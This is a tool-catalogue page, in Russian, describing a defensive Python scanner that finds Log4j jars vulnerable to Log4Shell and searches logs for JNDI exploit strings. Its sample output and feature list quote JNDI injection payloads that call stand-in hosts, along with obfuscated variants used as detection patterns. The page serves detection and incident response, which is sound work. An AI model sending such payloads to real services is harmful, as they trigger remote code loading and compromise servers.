Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4shell-scanner — Легковесный сканер, который обнаруживает уязвимые версии Log4j и индикаторы Log4Shell (CVE-2021-44228) в дереве файловой системы. | Kitploit
Инструменты/GitHubGitHub/arpitgupta369/log4shell-scanner
Оборонительные ИнструментыСканеры уязвимостейАнализ уязвимостейБезопасность Цепочки ПоставокОбучение и ОбразованиеАнализ Журналов
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Легковесный сканер, который обнаруживает уязвимые версии Log4j и индикаторы Log4Shell (CVE-2021-44228) в дереве файловой системы.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Репозиторий
161 месяц назадЕщё не проверено
Поделиться

log4shell-scanner

Независимый от зависимостей защитный сканер для Log4Shell — находит уязвимые jar-файлы log4j-core и шаблоны эксплойтов JNDI в журналах и конфигурациях.

Зачем этот проект

Во время моей ротации в CERT-In я занимался идентификацией угроз, сдерживанием, устранением последствий и охотой на угрозы — именно тем рабочим процессом, который требовал Log4Shell (CVE-2021-44228) в масштабе в декабре 2021 года: найти каждый уязвимый артефакт log4j-core по всему парку и искать в журналах попытки эксплуатации ${jndi:...}. Этот сканер воспроизводит этот защитный рабочий процесс в одном переносимом скрипте на Python со стандартной библиотекой, которому не нужно ничего устанавливать на проверяемом хосте.

Возможности

  • Обнаружение архивов — обходит дерево каталогов в поисках файлов .jar / .war / .ear.
  • Авторитетное определение версии — читает pom.properties и внутри каждого архива с помощью , при необходимости возвращаясь к имени файла; отличает настоящие log4j-core от посторонних jar-файлов.
MANIFEST.MF
zipfile
  • Пометка CVE в семействе Log4Shell:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (неполное исправление) — до 2.15.0
    • CVE-2021-45105 (DoS) — до 2.16.0
  • Охота на шаблоны эксплойтов — ищет в журналах/конфигурациях/исходниках ${jndi:ldap:// и распространённые обфускации (${${lower:j}ndi:…}, разделение скобками j}ndi:, ${::-j}).
  • Действенные меры по устранению — обновление до 2.17.1+, или удаление JndiLookup.class, плюс рекомендации по мониторингу исходящего трафика.
  • Встроенное демо-дерево с поддельным уязвимым log4j-core-2.14.1.jar (настоящий zip с pom.properties от log4j-core), исправленным 2.17.1.jar, посторонним jar-файлом и журналом с полезной нагрузкой JNDI.
  • --demo собирает и сканирует демо-дерево от начала до конца.
  • Только стандартная библиотека Python (os, re, zipfile). Без зависимостей.
  • Технологический стек

    Python 3 (только стандартная библиотека: argparse, os, re, zipfile).

    Установка

    root@kitploit:~
    git clone https://github.com/arpitgupta369/log4shell-scanner.git
    cd log4shell-scanner
    python --version   # Python 3.8+
    # no dependencies to install
    

    Использование

    Запустите демо на встроенном демо-дереве:

    root@kitploit:~
    python log4shell_scan.py --demo
    

    Ожидаемый вывод (сокращённый):

    root@kitploit:~
    --- Archives (log4j-core detection) ---
      [ok]         .../commons-lang3-3.12.0.jar
            version: unknown   (via no log4j-core detected)
      [VULNERABLE] .../log4j-core-2.14.1.jar
            version: 2.14.1   (via pom.properties (...))
            !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
            !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
            !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
      [ok]         .../log4j-core-2.17.1.jar
            version: 2.17.1   (via pom.properties (...))
    
    --- Exploit-pattern matches (JNDI payloads in text/logs) ---
      [MATCH] .../access.log (2 hit(s))
            L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
            L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
    
    --- Summary ---
      Vulnerable archives:      1
      Files with JNDI patterns: 1
    

    Сканируйте любую директорию, которую вы уполномочены проверить:

    root@kitploit:~
    python log4shell_scan.py /path/to/deployed/app
    

    Код завершения процесса — 1, если найдено что-то уязвимое или подозрительное, 0, если всё чисто — удобно для шлюзов CI/конвейеров.

    Пересоберите демо-дерево в любое время:

    root@kitploit:~
    python log4shell_scan.py --build-samples
    

    Структура проекта

    root@kitploit:~
    log4shell-scanner/
    ├── log4shell_scan.py      # scanner + sample-tree builder + CLI
    ├── samples/
    │   └── app/
    │       ├── libs/
    │       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
    │       │   ├── log4j-core-2.17.1.jar     # patched jar
    │       │   └── commons-lang3-3.12.0.jar  # unrelated jar
    │       ├── logs/
    │       │   └── access.log                # contains JNDI payloads
    │       └── config.properties             # benign (should not match)
    ├── README.md
    ├── LICENSE
    └── .gitignore
    

    Отказ от ответственности

    Только для образовательного, защитного и авторизованного использования. Запускайте только на системах и артефактах, которые вам разрешено проверять. Сканер только читает и сопоставляет шаблоны — он никогда не выполняет и не эксплуатирует ничего. Встроенные образцы jar-файлов являются сфабрикованными заглушками, а не подлинными артефактами Apache, и все имена хостов полезной нагрузки используют не маршрутизируемые имена .test. Сопоставления версий и CVE приведены для ориентировки; сверьтесь с официальными CVE и рекомендациями по безопасности Apache Log4j.


    Автор: Arpit Gupta — LinkedIn · GitHub

    Скачать инструмент